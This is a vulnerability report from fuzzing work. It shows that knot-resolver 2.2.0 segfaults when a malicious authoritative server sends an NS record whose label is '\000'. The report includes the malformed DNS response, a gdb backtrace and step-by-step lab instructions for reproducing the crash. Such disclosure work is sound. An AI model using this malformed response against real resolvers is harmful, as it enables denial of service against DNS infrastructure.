knot-resolver 2.2.0 segfault when malformed response, which has label "\000".
Overview
Knot-resolver crashes when malformed response is received from a malicious authoritative server in my test(fuzzing) environment.
response from authoritative server.
;; QUESTION SECTION:
;www.example.com. IN A
;; AUTHORITY SECTION:
www.example.com. 600 IN NS \000.example.com.
;; ADDITIONAL SECTION:
\000.example.com. 600 IN A 192.168.33.101
message at crach.
# /usr/local/sbin/kresd -c /usr/local/etc/knot-resolver/kresd.conf
[system] interactive mode
> Segmentation fault
debugger output.
# gdb /usr/local/sbin/kresd
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-100.el7_4.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/local/sbin/kresd...(no debugging symbols found)...done.
(gdb) run -c /usr/local/etc/knot-resolver/kresd.conf
Starting program: /usr/local/sbin/kresd -c /usr/local/etc/knot-resolver/kresd.conf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[system] interactive mode
>
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7947488 in knot_dname_lf () from /lib64/libknot.so.7
Missing separate debuginfos, use: debuginfo-install glibc-2.17-196.el7_4.2.x86_64 gmp-6.0.0-15.el7.x86_64 gnutls-3.3.26-9.el7.x86_64 knot-libs-2.6.5-1.el7.x86_64 libcap-ng-0.7.5-4.el7.x86_64 libffi-3.0.13-18.el7.x86_64 libgcc-4.8.5-16.el7_4.2.x86_64 libstdc++-4.8.5-16.el7_4.2.x86_64 libtasn1-4.10-1.el7.x86_64 libuv-1.10.2-1.el7.x86_64 lmdb-libs-0.9.18-1.el7.x86_64 luajit-2.0.4-3.el7.x86_64 nettle-2.7.1-8.el7.x86_64 p11-kit-0.23.5-3.el7.x86_64 zlib-1.2.7-17.el7.x86_64
(gdb) list
No symbol table is loaded. Use the "file" command.
(gdb) bt
#0 0x00007ffff7947488 in knot_dname_lf () from /lib64/libknot.so.7
#1 0x00007ffff7b7736f in peek_exact_real.isra.9 ()
from /usr/local/lib/libkres.so.7
#2 0x00007ffff7b8ea23 in kr_zonecut_find_cached ()
from /usr/local/lib/libkres.so.7
#3 0x00007ffff7b88aae in zone_cut_check () from /usr/local/lib/libkres.so.7
#4 0x00007ffff7b8a657 in kr_resolve_produce ()
from /usr/local/lib/libkres.so.7
#5 0x0000555555561c83 in qr_task_step ()
#6 0x000055555555c19a in udp_recv ()
#7 0x00007ffff72c2696 in uv__udp_io () from /lib64/libuv.so.1
#8 0x00007ffff72c42e8 in uv__io_poll () from /lib64/libuv.so.1
#9 0x00007ffff72b5db8 in uv_run () from /lib64/libuv.so.1
#10 0x000055555555bd19 in main ()
Environment
IP Addresses of each servers.
- root DNS server: 192.168.33.100/24
- malicious authoritative server: 192.168.33.101/24
- victim full service resolver: 192.168.33.102/24
OS, Software of each servers.
root DNS server
- OS: CentOS 7.4 x86_64 on VirtualBox VM
- DNS: bind
Malicious authoritative server
- OS: CentOS 7.4 x86_64 on VirtualBox VM
victim full service resolver
- OS: CentOS 7.4 x86_64 on VirtualBox VM
- DNS: knot-resolver 2.2.0
Setup steps of Environment
root servers
Install CentOS 7.4 from install ISO image.
Set IP address VM to 192.168.33.100/24.
Set firewalld.
# firewall-cmd --zone=public --add-service=dns --permanent
# firewall-cmd --reload
Install Bind.
# yum install bind bind-utils
Upload and extract test-files.tar.gz
# cd /tmp
# tar xzf /path/to/test-files.tar.gz
Copy named.conf and root zone file.
# cp /tmp/test-files/root.named.conf /etc/named.conf
# cp /tmp/test-files/root.zone /var/named/root.zone
# chmod 644 /var/named/root.zone
Start named.
# systemctl start named
# systemctl enable named
Malicious authoritative server
Install CentOS 7.4 from install ISO image.
Set IP address to 192.168.33.101/24.
Set firewalld
# firewall-cmd --zone=public --add-service=dns --permanent
# firewall-cmd --reload
Install Build tools.
# yum install epel-release
# yum install gcc-c++ boost-devel wget perl yaml-cpp-devel bind-utils
# wget https://cmake.org/files/v3.10/cmake-3.10.0-Linux-x86_64.sh
# sh cmake-3.10.0-Linux-x86_64.sh --skip-license --prefix=/usr/local
Install openssl 1.0.1 from source file.
# wget https://www.openssl.org/source/openssl-1.1.0g.tar.gz
# tar xzf openssl-1.1.0g.tar.gz
# cd openssl-1.1.0g
# ./config
# maket
# make install
Upload and extract test-tools.tar.gz.
# cd /tmp
# tar xzf /path/to/test-tools.tar.gz
# cd test-tools
# OPENSSL_ROOT_DIR=/usr/local/ssl cmake .
# make
Start DNS service foreground.
# ./bin/knot-dname_lf
Login to authoritative server from other terminal, and check response of knot-dname_lf on other terminal.
# dig \@127.0.0.1 www.example.com a +norec
; <<>> DiG 9.9.4-RedHat-9.9.4-51.el7_4.2 <<>> @127.0.0.1 www.example.com a +norec
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44651
;; flags: qr aa ad cd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;www.example.com. IN A
;; AUTHORITY SECTION:
www.example.com. 600 IN NS \000.example.com.
;; ADDITIONAL SECTION:
\000.example.com. 600 IN A 192.168.33.101
;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Wed Apr 04 01:10:59 JST 2018
;; MSG SIZE rcvd: 104
victim full service resolver
Install CentOS 7.4 from install ISO image.
Set IP address to 192.168.33.102/24.
Install Build tools.
# yum install epel-release
# yum install gcc-c++ openssl-devel wget knot-devel bind-utils luajit-devel libuv-devel
Install knot-resolver
# wget https://secure.nic.cz/files/knot-resolver/knot-resolver-2.2.0.tar.xz
# tar xJf knot-resolver-2.2.0.tar.xz
# cd knot-resolver-2.2.0
# make CFLAGS=-DNDEBUG
# make install
# echo /usr/local/lib > /etc/ld.so.conf.d/knot.conf
# ldconfig
Upload and extract test-files.tar.gz.
# cd /tmp
# tar xzf /path/to/test-files.tar.gz
Copy kresd.conf and hints file.
# cp /tmp/test-files/kresd.conf /usr/local/etc/knot-resolver
# cp /tmp/test-files/root.hints /usr/local/etc/knot-resolver
Start knot-resolver
# mkdir -p /tmp/db
# cd /tmp/db
# rm -f * ; /usr/local/sbin/kresd -c /usr/local/etc/knot-resolver/kresd.conf
Login to victim full service resolver from other terminal, and send queries to knot-resolver.
# sh -x /tmp/test-files/crash.sh
Check knot-resolver process.
# /usr/local/sbin/kresd -c /usr/local/etc/knot-resolver/kresd.conf
[system] interactive mode
> Segmentation fault